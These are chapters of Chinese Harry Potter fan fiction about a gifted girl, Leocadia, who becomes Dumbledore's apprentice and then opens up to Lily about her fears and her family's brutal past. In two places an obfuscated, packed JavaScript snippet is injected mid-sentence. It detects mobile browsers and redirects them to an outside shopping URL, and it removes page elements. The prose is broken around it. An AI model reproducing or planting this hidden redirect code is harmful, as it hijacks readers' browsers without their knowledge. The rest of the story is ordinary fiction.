巫师们就像渔网里的沙丁鱼一样。 卷不动,根本卷不动。 但邓布利多认为,莱奥卡蒂亚可以成为那条放入沙丁鱼群中的鲶鱼,别的不说,起码能让沙丁鱼们动弹一下。 莱奥卡蒂亚觉得有什么东西盯上了自己,一个激灵,左右环顾。 然后看见了校长室上的画像们。 在一片要么打瞌睡要么出去串门的画像中,一个黑色头发的男性巫师正从画里目光灼灼地盯着她。 莱奥卡蒂亚指指自己:“你在看我?” 弗雷德里克讲过魔法画像的原理,画、魔法、长年累月的意识灌输,和死亡前一缕进入画中的灵魂——莱奥卡蒂亚对此很感兴趣。 “当然,不然我能看谁?阿不思吗?”男巫扒着相框,“我一看就知道你是费德丽卡的女儿。” 莱奥卡蒂亚后知后觉,好像亲妈在霍格沃茨确实很有名。 “我是菲尼亚斯·奈杰勒斯·布莱克,”男巫清清嗓子,“你可以叫我菲尼亚斯。阿不思,不是我故意打扰你教学,是这小丫头太敏锐了。” 邓布利多也觉得莱奥卡蒂亚对于目光很敏感,他大概也知道这种敏感出自她的家族。 莱奥卡蒂亚打了招呼就继续研究邓布利多给她讲解的知识。 “你这是要收她做你的学徒?”菲尼亚斯还在碎碎念,在画像里匀速转圈圈,“上一次见你把学龄前的小巫师带到校长室里提前上课……有过吗?好像没有吧?” 邓布利多坦然承认:“当然没有,你没有记错。不过这也不算是收学徒。只是我不忍心一个天赋极强的好孩子在麻瓜世界虚度光阴,提前带她入门炼金术也是我的私心罢了。” 菲尼亚斯思索一会儿,恍然:“哦,你说尼可·勒梅?” 莱奥卡蒂亚觉得这个名字有点耳熟。 “我只是带她入门,如果尼可愿意收弟子,那我也就不担心他的学识失传了。” “等等,”莱奥卡蒂亚冷静出声,“邓布利多校长,如果我没理解错而且我的记忆没出错的话,你这是在给我加课?在你几天前刚劝过我放弃一些课程之后?” 邓布利多用一种诱哄小猫咪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299283|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语气说道:“哦,莱奥,请你放心,我只是说出我的提议,最多再带你见一个老朋友罢了。” 莱奥卡蒂亚懒得去管这句话是不是真的,因为她想起了尼可·勒梅是何许人也。 “所以他真的没死?从十四世纪活到了现在?”莱奥卡蒂亚从书包里翻出一张巧克力蛙的卡片,那是邓布利多的卡片,弗雷德里克给她的,“‘19……’好吧我们都知道这一年发生了什么,‘与合作伙伴尼可·勒梅在炼金术方面卓有成效’,所以这真的是那个尼可·勒梅?” 1330年出生的耶,今年639岁了耶,真神奇,炼金术能做到这个地步吗? 邓布利多看见自己的巧克力蛙画片在打瞌睡:“是的,就是‘那个’尼可·勒梅。看来你对他有所了解?” “那当然,毕竟我是个萨卢佐。”莱奥卡蒂亚高兴地在笔记本上写写画画,“说不定尼可·勒梅先生还见过我的先祖呢!” 行走的百科全书和活化石欸! 说不定还能见见那块魔法石! 好耶! 她欢快地想着,手下正在画的一个古代魔文不慎歪了一笔,和上一个魔文的尾端连在一起。 带着魔力的书写轨迹从笔记本上飘飘悠悠地浮起来,化作一片银色的水光,下一瞬结成一道冰箭,疾速射向天花板。 莱奥卡蒂亚大惊:完了,第一天上课就要造成教学事故了吗?! 她死死盯住那道冰箭,大脑里只剩下一个念头: 消失! 在邓布利多察觉到魔力波动时,那道冰箭重新化为银光消失在空气中,只留下一点魔力的余韵。 目睹了全过程的菲尼亚斯震惊了。 “她刚刚……” 邓布利多弹指丢去一个小魔法,让菲尼亚斯一句话都说不出来,只能发出呜呜呜的闷哼。 “邓布利多校长?”莱奥卡蒂亚还有点懵,突然鼻子一热,留下一点鼻血,赶忙用袖子擦掉,“我刚刚……” “你刚刚用了一个古代如尼魔法,莱奥,”邓布利多变出一个冰袋,抵在她的鼻子上,语调悠长,“不是我们现在使用的拉丁文简化魔咒,而是需要通过理解如尼文,将它化作基础魔法语言,才能用出来的魔法。” “这样的魔法需要极强的意志力或感情,也需要对魔力的精细掌控,和一些特殊条件,比如一些以爱和血缘为纽带的血缘魔法。我没想到你在这个年纪就能做到这样的程度,不愧是个小天才。” 莱奥卡蒂亚理解了一下:“就像我的母语是意大利语,但我用英语写了一句莎士比亚十四行诗一样?” “对,没错,很接近的比喻。” 邓布利多有些遗憾的喟叹:“盖勒特的眼光真的很好,你的天赋好得让我开始嫉妒他了。” 莱奥卡蒂亚感觉自己鼻子没出血了,就推开冰袋:“其实我叫他Mentor只是因为他自称Mentor,在来英国之前他都没怎么正经教过我几个魔法,只教我怎么变出一大块黑布,还有一个变出天然气灶火焰的魔法。” 邓布利多语气古怪:“他……就教你这些?” 他教你召唤巫粹党和火盾护身(Protego Diabolica)? 莱奥卡蒂亚点头:“是啊是啊,那火还挺漂亮的。” 邓布利多决定跟老朋友聊聊孩子的教育问题。 然后再把孩子的教育权抢过来。 但在此之前,他还是征求了一下莱奥卡蒂亚的意见。 “莱奥,”邓布利多温和地说,“盖勒特教给你的魔法对你来说是有用的,但我想,我能教你更多,无论是如尼魔法,还是变形术和炼金术,只要你愿意,我很乐意为你解答所有疑惑。” 莱奥卡蒂亚觉得这个问题根本不需要思考。 如果要在格林德沃和邓布利多之间选一个,莱奥卡蒂亚绝对选邓布利多啊! 莱奥卡蒂亚苍蝇搓手:“好好好,我现在就写信和他断决关系。邓——阿不思!以后我就是你的学徒啦!” 邓布利多噎住了:“……也不用这么快撇清关系的。我会好好写信和他讨论这件事。” 莱奥卡蒂亚连连点头,嗯嗯嗯,好好好,懂懂懂,连地址都不问我,是让福克斯去送信是吧? 真好,甜到我了。 莱奥卡蒂亚露出偷到鱼干的猫猫唇。 邓布利多觉得自己不能细究这个笑,不然会陷入莫名其妙的自证危机。 他们身后的墙上,菲尼亚斯狠狠锤相框。 唔——! (让我说话啊!) 16. 16 和每一个溺爱孩子的祖父一样,邓布利多带着莱奥卡蒂亚玩了冥想盆,照了厄里斯魔镜,还去了厨房吃现做的松饼。 “炼金术真神奇,”莱奥卡蒂亚吃着松饼,对用冥想盆看别人的记忆意犹未尽,“冥想盆是不是可以算作摄魂取念的具象化?而且还能针对某一段记忆反复观看,真厉害。” “前提是你需要把相关的记忆抽出来。”邓布利多乐呵呵地给松饼淋满草莓果酱,“就像被剪掉的胶片,如果不把记忆放回去,就再也不会想起那段时光。” “还有这种好事?”莱奥卡蒂亚睁大眼睛,“那我岂不是可以把刑讯的记忆全部抽出来?” 邓布利多沉默一瞬:“如果它们让你痛苦的话。” 但是仔细想想,莱奥卡蒂亚还是放弃了。 “我已经把它们做成了大脑封闭术的砖石和火焰啦,如果再抽出来,我去哪里找能烧掉别人意识的剧烈情绪?”莱奥卡蒂亚塞了一大口松饼。 邓布利多难得升起一点疑惑:“什么砖石和火焰?弗雷德里克都教了你什么?” 他难道学的是假的大脑封闭术吗? 基础的大脑封闭术一般用于测谎领域,就是清理头脑中的思想和情感,让摄神取念者无法找到任何——当然,这个任何是相对来说的——与被测谎者意图掩盖的记忆,以及与之相关的情感联系。 如果是应对更加强力的夺魂咒,就需要用到更高级的大脑封闭术。 这种高级的大脑封闭术让其使用者只压抑某些特定的感情和记忆,而这些感情和记忆与其持有者希望摄神取念者相信的恰好相反,这样使得大脑封闭师可以撒谎,而又避免自我暴露。 “别担心,阿不思,弗雷德里克是按照书上教我的,”莱奥卡蒂亚咽下松饼,“但是你知道的,我习惯于掌握主动权,上次我们相互摄魂的时候你应该看到了关于我的一些事吧?” 邓布利多当然记得,他事后还深刻思考了万一莱奥卡蒂亚真成了三代黑魔王,是不是得“归功于”她的家庭教育。 “总之,那天我在打坐的时候突发奇想,既然别人能钻进我的大脑里看我的记忆,是不是就意味着他的部分意识也在我的大脑里? 就相当于两军交战,他不在自己的战壕里好好待着,非要跑到我的地盘来耀武扬威,就是活该被揍。”* 莱奥卡蒂亚握着刀叉进行实物举例:“他能感受到我的记忆和我的情绪,但我当然不会任他毫发无损地感受,所以,铛铛铛!我就会把他困在我划出来的范围内,强迫他看我刑讯的手段和场景,再用我接收到的所有情绪攻击他。” 邓布利多思索着:“相当于你在自己的大脑里构建了一片用于关押入侵者意识的……刑场?” 莱奥卡蒂亚点头:“没错,就是这样!” 邓布利多叹气:“可是这样太冒险了一点,如果对方的意志力强过你,你很容易被反客为主。” “不不不,阿不思,在那之前,我会给他送上一份从身到心的沉浸式体验。”莱奥卡蒂亚神神秘秘地笑笑。 来,您的恶心情绪大杂烩~爱吃就多吃点,我这里管够哦! 一边享用美食还能一边体验一下萨卢佐的刑讯一千零八式哦~ 她可是花了九年时间一点点接收他人的情绪来提高阈值,都在来英国的短短几天里被恶心到破防,身体都出问题了呢。 她设想了一下,如果短时间内给对方的大脑塞入海量的代表情绪的魔力,再加上足以灼烧灵魂的痛苦—— 啊,可能会从内而外的炸开吧。 莱奥卡蒂亚眼神无辜又可的捂嘴。 邓布利多再次觉得,莱奥卡蒂亚真的是在成为三代黑魔王的边缘徘徊。 幸好,她现在还小,还有重要的人和事拴着她的心灵,不至于让她做出错误的事。 幸好,他还有时间教她。 他已经失败了两次,绝对不能再失败第三次。 吃完松饼还没到午饭时间,邓布利多就带她回了校长室,拿出一个自己做的炼金制品,让她在二楼自己研究。 莱奥卡蒂亚先画下了这个小盒子的整体形状——有些像八音盒,背后有一个霍格沃茨校徽,但没有找到可以打开的缝隙。 莱奥卡蒂亚挠挠头。 不能从外面打开,难道是从里面打开的? 于是她试探性地往里面注入魔力。 很快,她发现这个盒子的内部是由无数实心木块和金属齿轮组成的,一些极细小的铭痕在木块上时刻移动,按照某种规律发出嗡鸣声。 莱奥卡蒂亚一点点用魔力勾勒出铭痕的轨迹,将它们写在纸上。 是组合的如尼符文! 莱奥卡蒂亚兴冲冲地翻译:“……旅行多歧路,智友弥足坚,奇迹终回还。” 话音刚落,原本浑然一体的木盒就“咔哒”一声,分转变形,在她掌心中展开成一块相互嵌套的……双十字笼型鲁班锁? 莱奥卡蒂亚:……哇哦。 一下子好像回到了祖父拿着同款鲁班锁哄她玩的幼崽时期。 你们上了年纪的老人家都喜欢这么哄孩子吗? 好在巫师的鲁班锁比普通的鲁班锁更带劲,每一个零件的拆卸都需要补全零件上的现代魔咒或者解读如尼文,是很考验小巫师学习进度的玩具。 特别是每当莱奥卡蒂亚成功拆下来一块零件,魔咒零件就会放出对应的魔咒,如尼零件就会播放正确的读音和邓布利多作出的释文,莱奥卡蒂亚就能对比自己的进行修改。 莱奥卡蒂亚:哇哦! 莱奥卡蒂亚两耳不闻楼下事,一心沉迷拼玩具,期间有几个教授过来找邓布利多都没发现二楼还有个小姑娘。 当然,邓布利多也约谈了几个学生。 一个格兰芬多和一个斯莱特林在走廊上互丢咒语被麦格教授逮到了;一个格兰芬多在休息室兜售不合格的欢欣剂——又被麦格教授逮到了;一个拉文克劳勇闯禁书区被弗利维教授撞见…… 莱奥卡蒂亚偷偷听着,觉得邓布利多真忙。 而且听起来,教授们还要亲自处理这些问题? 这些工作在大学里都是辅导员和助教负责的吧? 教授们可是发论文做学术申报课题搞科研的主力,怎么能花时间在学生管理上? 霍格沃茨好像真没助教。莱奥卡蒂亚在本子上写下一个组合魔文。真可怜啊。 午饭当然是在霍格沃茨吃的,邓布利多去了礼堂,临走前让家养小精灵给她送了午饭,又担心莱奥卡蒂亚遇到问题,就让菲尼亚斯上来看了两眼。 被解除禁言的菲尼亚斯实际上相当健谈,知识量也很充足,解答莱奥卡蒂亚的问题花不了多少时间,其他时候一直在吹嘘布莱克家的历史,又目的性极强的给她介绍斯莱特林的历代杰出人物。 从邓布利多离开讲到他回来,都没听过,莱奥卡蒂亚纯纯把画像的介绍当话剧听。 “……所以你看,斯莱特林是最好的学院!” 可惜,这幅集“斯莱特林出身的校长”、“史上最不受欢迎的校长”、“纯血的布莱克家族的校长”等标签于一身的画像的口才在莱奥卡蒂亚眼中着实一般,还不如那些找祖父投资的人有水平。 好吧,毕竟是顺风顺水一辈子的巫师嘛。 莱奥卡蒂亚拆下来一块刻着“保护”的零件,发出灵魂质问:“最出名的斯莱特林出身的巫师……就是萨拉查·斯莱特林本人和伏地魔吧?” 画像无语:“……实际上还有梅林。不对你怎么看起来这么嫌弃?” “咱们先说梅林。霍格沃茨是四位创始人在公元993年创办的,而在我看过的巫师历史书里,我没找到梅林的生卒年月,只知道他是中世纪的巫师,曾追随过亚瑟王。” 中世纪是指476年西罗马帝国灭亡至1453年东罗马灭亡这段时期。 莱奥卡蒂亚语重心长地说:“而亚瑟王根据传说考证,是在公元六世纪日耳曼民族入侵时的凯尔特英雄。” 菲尼亚斯舌头打结地反驳:“那是、那是麻瓜们的判断,反正他们都是最好的巫师。” “啊,那你找出梅林是什么时候的巫师我们再讨论这个问题吧。”莱奥卡蒂亚撇嘴,她爸爸就是搞大不列颠史研究的,她看过许多一手史料。 “所以不提梅林,你觉得我是看得上斯莱特林还是伏地魔?还是建在地窖里的宿舍?我可是混血巫师,我是疯了才会进斯莱特林。” 她是来上学的,不是来找气受的。 邓布利多愉快的声音从楼下传来:“看吧,菲尼亚斯,我就说你的心思连小孩都能看出来。” “吃你的蟑螂堆去!”菲尼亚斯色厉内荏,“阿不思,在我看来你也图谋不轨!” 邓布利多装傻:“啊?是吗?我有吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299284|140209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “你有,”莱奥卡蒂亚从栏杆中挤出半张脸,脸颊肉被挤鼓鼓囊囊,声音含含糊糊,“阿不思,你想把我拐进格兰芬多。” 邓布利多叹气:“好吧,你猜对啦。所以我们的莱奥小姐想去哪个学院呢?” 莱奥卡蒂亚毫不犹豫:“拉文克劳!” 妈妈在哪我去哪! 而且据说弗利维教授很擅长魔咒! 还很热心,愿意教所有找他问问题的小巫师! 莱奥卡蒂亚捧着脸幻想:“妈妈说拉文克劳的休息室里有很多图书馆都没有的藏书,她看了六年才看完。” 邓布利多不想因为这么简单原因失去一个小狮子,故作高深地许诺:“我敢保证拉文克劳的藏书不会有我的多,而且我在考虑要不要捐一些给格兰芬多。” 菲尼亚斯很想说你在秀什么?你那几本破书有布莱克家的藏书又好又多吗? 但他毕竟是幅画像,也没法从现在的布莱克家掏出收藏来给斯莱特林招揽莱奥卡蒂亚——哼,跟黑魔王混的不肖子孙。 莱奥卡蒂亚想也不想地拒绝邓布利多的暗示:“我不想爬地道一样的休息室入口,更不想一抬头就是别人的屁股,万一我前面的人一个屁嘣在我脸上,我会当场退学的。” 这话说的直白又毒辣,看起来莱奥卡蒂亚是真的不相信大部分同龄人的自我管理能力。 菲尼亚斯发出杠铃般的笑声。 邓布利多捂额:“真是优雅又挑不出错的理由。” 他现在很想问问戈德里克·格兰芬多在设置自家学院的休息室通道时是怎么想的。 莱奥卡蒂亚缩回脸,揉揉被硌出来的印子:“不过西弗会去斯莱特林,莉莉一看就是格兰芬多的,唉,这样一来我和莉莉就不能睡一个寝室了。” 闺蜜夜谈!这么美好的词竟然在一开始就被掐断了可能性! 邓布利多张口:“那……” “No, mi rifiuto.**”莱奥卡蒂亚坚定的决心从她的意大利语里展现得淋漓尽致。 邓布利多再次长叹。 算了,只要孩子高兴就好,反正她是自己的学徒。 晚上,莱奥卡蒂亚在餐桌上甜蜜地抱怨:“西弗西弗,我跟你说哦,阿不思比我的上一个Mentor好太多啦!他超有耐心超会哄小孩的!而且也没有给我布置书面作业!你看这个,这个超好玩的!” 斯内普翻白眼:“你几岁?一个玩具就收买你了?我都不知道你竟然这么好骗。” 莱奥卡蒂亚做鬼脸:“我正式宣布阿不思已经成为我第二喜欢的老爷爷了。” 斯内普看向玛利亚:“玛利亚女士,请你致电这位小姐的祖父,告诉他他的宝贝孙女已经在英国找了一位新祖父了,也许圣诞节就会带新祖父回去,在可怜的老祖父面前展示一番新祖父的魅力。” 莱奥卡蒂亚大惊:“玛利亚!不许听他的!” # 晚餐后,邓布利多照例和教授们聊了两句,回到校长办公室时,菲尼克斯还没有睡觉,见他回来还抬手打了个招呼。 邓布利多疑惑点头回应:“你今天很活跃,是发生了什么吗?” 画像毕竟只是画像,是魔法物品,如果不想留在画像上的魔力消耗的太快,就最好别乱动。 菲尼亚斯抬着下巴:“这是我想问你的。学徒?你认为你适合收学徒吗?而且她还是……的学徒。” 他把那个G开头的姓氏吞回去。 邓布利多放松地坐进校长的大椅子:“这又有什么关系呢?其实我以为你会在意她的混血身份,而不是她从哪里来。” “混血,唉,说实话,阿不思,我在墙上看了这么久,早就懒得管混血纯血这种事了。”菲尼亚斯疲惫摇头,“上一个让我满心自豪的斯莱特林也是混血,但我现在……我只是担心她比他们俩加起来还要激进。” “关于这一点,我倒是不担心,有时候我们不得不承认,良好的家庭教育是非常重要的。”邓布利多敲敲桌子,书柜里飘出来一封信,“莱奥纳多和费德丽卡都是她最好的榜样。” 有那样一位祖父,有那样一位母亲,莱奥卡蒂亚怎么会有那些黑暗小心思? 只不过…… 他轻巧地拆开信封,再次阅读老朋友的来信。 还是得把莱奥放在眼皮子底下,才能让老人家们放心。 17. 17 莉莉不知道为什么,自己明明只是去上了两天学,周末再来萨卢佐家和小伙伴们碰头的时候,却像是错过了好几集电视剧一样。 特别是莱奥卡蒂亚看起来更忙了。 而西弗勒斯一改往日的一戳就爆,对莱奥卡蒂亚的态度平和许多。 只是虽然不直接开口嘲讽了,但惹莱奥卡蒂亚生气的动作一点都不少。 吃水果的时候,莱奥卡蒂亚指着斯内普叉子上的苹果:“看,莉莉,这人欠我好多魔药!还抢我苹果吃!” 斯内普:“哦。” 莉莉不赞同地拍拍莱奥卡蒂亚搂着她的爪子:“我知道,弗雷德里克老师告诉我了,欠债还钱天经地义,但不能把这件事挂在嘴上呀,这会给西弗压力的。” “还有,有这么多苹果呢,我也在吃,不要针对西弗嘛。” 莱奥卡蒂亚:“啧。” 斯内普:“就是就是。” “莉莉,”课间休息的时候,莱奥卡蒂亚抱着小姑娘蹭她的苹果肌,眼睛恶狠狠地瞪着在书上写笔记的斯内普,“我跟你讲,西弗趁你上学的时候脱离了无杖阶级。” 斯内普:“是啊是啊。” 莉莉蹭回去:“这是件好事呀,西弗终于可以尝试做高级魔药了!我为他感到高兴!而且你不是也有魔杖了吗?让我看看吧。” 莱奥卡蒂亚:“哼!喏,你看吧。” 斯内普:“你看看你。” 晚上吃饭的时候,莱奥卡蒂亚把斯内普面前的罗勒烤羊排直接扒拉到自己面前,把鱼排推过去,换来斯内普一道看若智的眼神。 斯内普:“谢谢大自然的馈赠。” 他又不挑食,请问这能威胁到他吗? 莉莉用叉子卷着意大利面,吃得头也不抬:“这回是怎么了?” “没什么。”莱奥卡蒂亚一甩头发,愤愤吃饭。 晚饭后,斯内普悄悄告诉莉莉莱奥卡蒂亚刚刚在饭桌上发疯的原因:“吃饭前我问她,昨天她在邓布利多校长那里待了一天,剩下的那些麻瓜课程的作业做完没有。” 莱奥卡蒂亚:“你是指这份基础解毒剂制作的作业,还是这份‘网络技术更新迭代对金融业的影响思考’?又或者是这份‘xx风格珠宝鉴赏’?” 斯内普:“哦,没问你这个。我只是来告诉你一声我的作业做完了,一瓶完美的生发药水,弗雷德里克给我打了O。要是你需要可以随时告诉我,算你一加隆一瓶。” 莱奥卡蒂亚:“来两瓶……” 莱奥卡蒂亚:“不是、滚啊!” 难怪吃完饭莱奥卡蒂亚就扔下两枚金币,然后转头爆冲进一楼的公共书房。 莉莉听得忍俊不禁,锤了一把斯内普:“你说你惹她干什么呀?” 斯内普慢吞吞地反驳:“我没惹她,只是在向雇主汇报我的任务完成情况。以及提醒她还有很多事没有做,还不能休息。” 莉莉压着声音笑了一会儿,又收起笑,担忧地问斯内普:“西弗,莱奥身上发生了什么事吗?我怎么觉得她的学习任务又多了?” “因为她秃了。” “?” “‘秃了才会变强’,她自己说的。” “……西弗,我很认真。” 斯内普眼神飘忽:“我也很认真。” “西弗,”莉莉看着他叹气,她觉得曾经那个成熟的大狼莱奥和冷漠的刺猬西弗一去不复返了,“莱奥对我们很好,她是我们的朋友。我想知道原因,然后看看能不能帮她。” 斯内普撇嘴:“只能怪她自己不肯削减课程。” “那一定是有原因的呀。”莉莉轻轻地说,“就像在学校上课,课程都是老师规定的,即使不喜欢,也不能不上,因为期末要考试。” “可是她的课程都是自己安排的。” “这就是问题所在啦。”莉莉拍掌,“是她在强.迫自己接受这样的生活——也许是她的家族给她的压力,也许是她自己给她的压力,她才九岁,却要学那些我连名字都不太会拼的课程——这是不应该的。” “小孩子就是要快快乐乐地度过一个轻松快乐的童年呀!”莉莉挥舞着小拳头,“我们都是孩子呢!西弗!” 因为家庭原因十分早熟的斯内普:“……我认为你说得对。那我们应该怎么做?” 莉莉嫌弃地戳戳他:“你会惹莱奥生气的,所以就让我来吧。” 斯内普目送着莉莉跑向那扇紧闭的书房门。 他在原地犹豫两秒,决定放弃去熬生发药剂,悄悄跟了上去。 莉莉敲敲门:“莱奥?我可以进来吗?” “莉莉?你进来吧,我没锁门。”隔着门,莱奥卡蒂亚的声音有些小,但莉莉还是听清了。 莉莉拧开门把手,从门缝中探头。 莱奥卡蒂亚转着笔看过来,有被莉莉可爱到:“站着干嘛呀?快进来。” 莉莉笑嘻嘻地走进来,虚掩着门:“我怕打扰你啦。” 莱奥卡蒂亚拉开旁边的椅子:“不存在打扰不打扰的。” 莉莉:“这不是怕你作业没写完嘛。” 莱奥卡蒂亚:“……没关系的。” 只要我四十五度角看天,眼泪就不会掉下来……嘤。 莉莉伸手圈住她:“好啦好啦,没写完也没关系吧?这些作业应该没有老师检查吧?” “嗯?要的啊,”莱奥卡蒂亚指指靠墙的那张书桌上的白色机器,“那个是传真机,会把我的作业直接送到老师们的办公桌上。就是有点慢,六分钟才能传一面A4纸的内容。” 莉莉被有钱人的交作业方式闪到了:“……这么说,你是用电话听课的?” 莱奥卡蒂亚在莉莉怀里滚了滚,吸了一口小姑娘蓬勃的元气:“对啊,这就是科技的力量。” 莉莉为难地皱起眉毛:“你就不能让自己轻松点吗?” 莱奥卡蒂亚有点不解:“我觉得现在的生活已经挺轻松了啊。” 她掰着指头数:“近身格斗(四种流派),枪.械拼装理论及运用,基础急救,审讯,野外生存技巧,冷兵器结构及运用,毒理学和基础解毒剂制作,机械工程与自动化,无机化学。这些是保命的。” “普通的课程也有英语、法语、德语、中文、拉丁文,青少年心理学,马术,咖啡烘焙研磨及冲泡,珠宝鉴赏,针织,基础交际舞,社交礼节与仪态,小提琴艺术和钢琴艺术鉴赏。这些是我感兴趣的,只需要随便学一学、掌握基本的内容就好。” 安排好时间其实不算太累,只是现在还要学魔法,所以看起来有点忙。 莱奥卡蒂亚从莉莉怀里撑起来:“莉莉,我知道你是想劝我过得轻松一点,但是我做不到。” 莉莉握住她的手:“为什么呀?是你的家人……” “不,不是,他们其实都不太赞同我学习这么多东西。他们说人生很漫长,而且没人能十全十美。”莱奥卡蒂亚感受着从另一只手上传来的温度,像太阳一样暖呼呼的,“只是,如果不去学这些,我会很害怕。” “我怕我虚度光阴,我怕我心灵空虚,我怕我无法掌控,我怕我毫无准备,我怕我带着遗憾和悔恨进入坟墓,我怕我的死亡毫无价值。” “能困住我的,从来只有我自己。” 莱奥卡蒂亚笑得很难过:“也许你听不懂这些,我只是想说……” 她吞下了未尽之语。 因为莉莉紧紧抱住了她,像抱着心爱的熊宝宝,左右摇摆着。 “莱奥,我听懂了。”小姑娘甜甜的声音近在咫尺,“其实你只是害怕而已。害怕辜负大家的期望,也害怕他人,所以才想用那些知识堆成盔甲保护自己,是不是?” 莱奥卡蒂亚有那么一瞬的瑟缩。 “你从小就能读到别人的记忆、想法和情绪,我试着想了一下,”莉莉打了个冷颤,“但光是想想,我就觉得很害怕。” “我从报纸上查了一些萨卢佐这个家族的资料,我觉得很残忍——很抱歉,用了这样的词去形容你的家。” 莉莉轻轻拍打着莱奥卡蒂亚,像在哄小婴儿一样:“‘鹰视狼顾,虎啸狐行’,这是你们家的格言,我不太懂,就问了爸爸。 爸爸说,这是要求你学习动物的姿态,大概是…嗯,保持老鹰的警醒,保持头狼威严,又要懂得什么时候成为森林里说一不二的老虎,什么时候借助老虎的身形做一只狡猾的狐狸,做一只人类社会里的动物。是这样理解的吗?” 莱奥卡蒂亚沉默着,莉莉也不催她。 许久后,萨卢佐幼狼喑哑的、哽咽的“嗯”了一声。 她也会害怕。 害怕到发抖。 第一次旁观刑讯的时候,因为地牢阴暗又潮湿,所以祖父脱下了自己的斗篷给她。 那件斗篷的样子,她记得非常清楚,甚至比被刑讯的那个人的脸还清楚。 那是祖父的朋友送他的,没有任何绣纹,挺括有型,很暖和,但穿在四岁的她身上简直是灾难,下摆完全被血水和泥水毁了,洗衣房无论怎么洗都洗不干净,最后只能收起来。 而那个被刑讯的人其实是祖父曾经的下属,被收买了,想要在她的餐食里下毒。只不过莱奥卡蒂亚的运气很好,她有两条忠诚的、能分辨剧毒化学成分的猎犬。 四岁的莱奥卡蒂亚小小一团,还没有刑具高。 她听着哀嚎与求饶,明明是最真诚最恐惧的语气,心声却截然不同。 ‘该.死的小杂.碎,只要挨过……’ ‘家主……对,我替家主卖过命,只要求一求,他不会真的杀了我的……’ 还有其他人的声音。 ‘家主不会真的要把这个小丫头片子列为继承人吧?啧,以后得听女人的话了?家主还不如再生一个少爷呢。’ ‘……’ 心声的潮水从地下冒出,带着不甘的、愤怒的、审视的腐臭,没过膝盖,试图让她溺毙其中。 她要自救。 她的身份,她的性别,她的年纪,这些都不是她的原罪,原罪来源于人心中的七名大罪。 她没错。 于是她拉拉祖父的裤腿,第一次直直对上他人的眼睛,主动发动自己的天赋。 “祖父,他一直在看窗外,是他家的方向。院子里应该有颗树,树下有最近掘开土地的痕迹……最有可能用来埋放‘定金’。包裹赃.款的器皿上不一定能找到雇主的身份,但可以追查他家里和钱夹里的票据,里面应该有下次碰头的地点。” 说出这句话后,她就奇迹般的不再害怕刑讯了 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撕下裙摆扎在腿根来紧急止血,她没有拔.出那块嵌进小腿肌肉的铁片,不过按照出血量和血液颜色判断,没有划到大动脉。 她一路走啊走,走到一个脏乱的小巷,救了一个被霸.凌的男孩。 ‘只是橡胶子.弹,不是实.弹,不要害怕。’她侧身遮住冒烟的弹.孔,笑着骗男孩。 ‘我被绑架了,能不能请你带我去最近的警察局?’她从挎包里摸出支票本,晕乎乎地写下一串数字,‘这个给你,就当是报酬了。’ 男孩大声吼她:‘谁要你的钱啊?!你能不能少说两句??’ 记忆里,用小推车推着她小跑的斯内普鼻青脸肿,特别害怕她失血过多死掉,于是一句话都不敢跟她说。 现实里,抱着她的莉莉慢慢戳开她的心扉:“那么,我们莱奥作为一只敏锐的小动物,你能察觉到别人的恶意,能察觉到伪装成同类的心怀叵测的猎人,能察觉到比你大的动物想要吃掉你,能察觉到那些表面上喜爱你的其实讨厌你或者想利用你。” ‘其实还有更恶心的,比如人到中年的老棺材板想娶我,或者让儿子娶我再跟我扒灰,再或者通过娶我得到祖父的帮助,最后秘密杀了我获得萨卢佐家族的一切。’莱奥卡蒂亚默默地在心里说,‘这么多年,除了我的四位血脉亲人,也就你和西弗勒斯接近我是没有私心的。’ 老白凤头鹦鹉是看中了我的天赋和潜力,还有萨卢佐家族,以及想拿我当筏子跟老蜜蜂眉来眼去; 老蜜蜂是担心我成为下一个黑魔王——好吧他也有点真心喜欢我的,毕竟我讨人喜欢; 弗雷德里克是想向母亲示好…… 就连玛利亚也是因为她的儿子在家族的企业里工作,照顾好我说不定能让儿子升职加薪。 “所以你才用知识来武装自己,因为你知道,在丛林里你无法依靠任何人,只有学到脑子里的、只有吃下去的,才是最可靠的,因为它们会化作你生存的能量,会成为你掌握丛林的工具……” 莱奥卡蒂亚听着莉莉充满童稚但七分准确的分析,有点怀疑莉莉翡翠色的眼睛其实也能看透人心。 不然她怎么就被莉莉一句话干破防了呢? 她可是连祖父和母亲都瞒过去了! 莉莉的下一句话又把她拉回了现实:“……我自认没有西弗帮你的多啦,西弗在魔药和魔咒上比我厉害,但我也会用我的方式保护你的。所以没关系的,我和西弗会一直陪着你,你可以依靠我们哦。” 莱奥卡蒂亚忍不住打断她:“莉莉,我当然相信我们会是最好的朋友,一辈子的那种,但西弗勒斯……” 偷听许久的斯内普握紧魔杖,决定如果这人说他只是雇员,或者不信他们是……是朋友的话,就冲进去给她一个昏昏倒地,让她在地板上躺一晚上! 但莱奥卡蒂亚突然笑了。 “好吧,虽然他脾气坏、经常和我吵架、抢我的点心、和你说我的坏话、用魔药成绩鄙视我、跟我争你最好的朋友的位置、不给我看他的魔药笔记,哦,他还经常不洗头……” 斯内普听着这么长一串前缀,只觉得昏昏倒地在魔杖尖上蓄势待发。 “但他确实是我一辈子的朋友。” 莱奥卡蒂亚像鱼吐泡泡一样,吐出这个用金子做的结论。 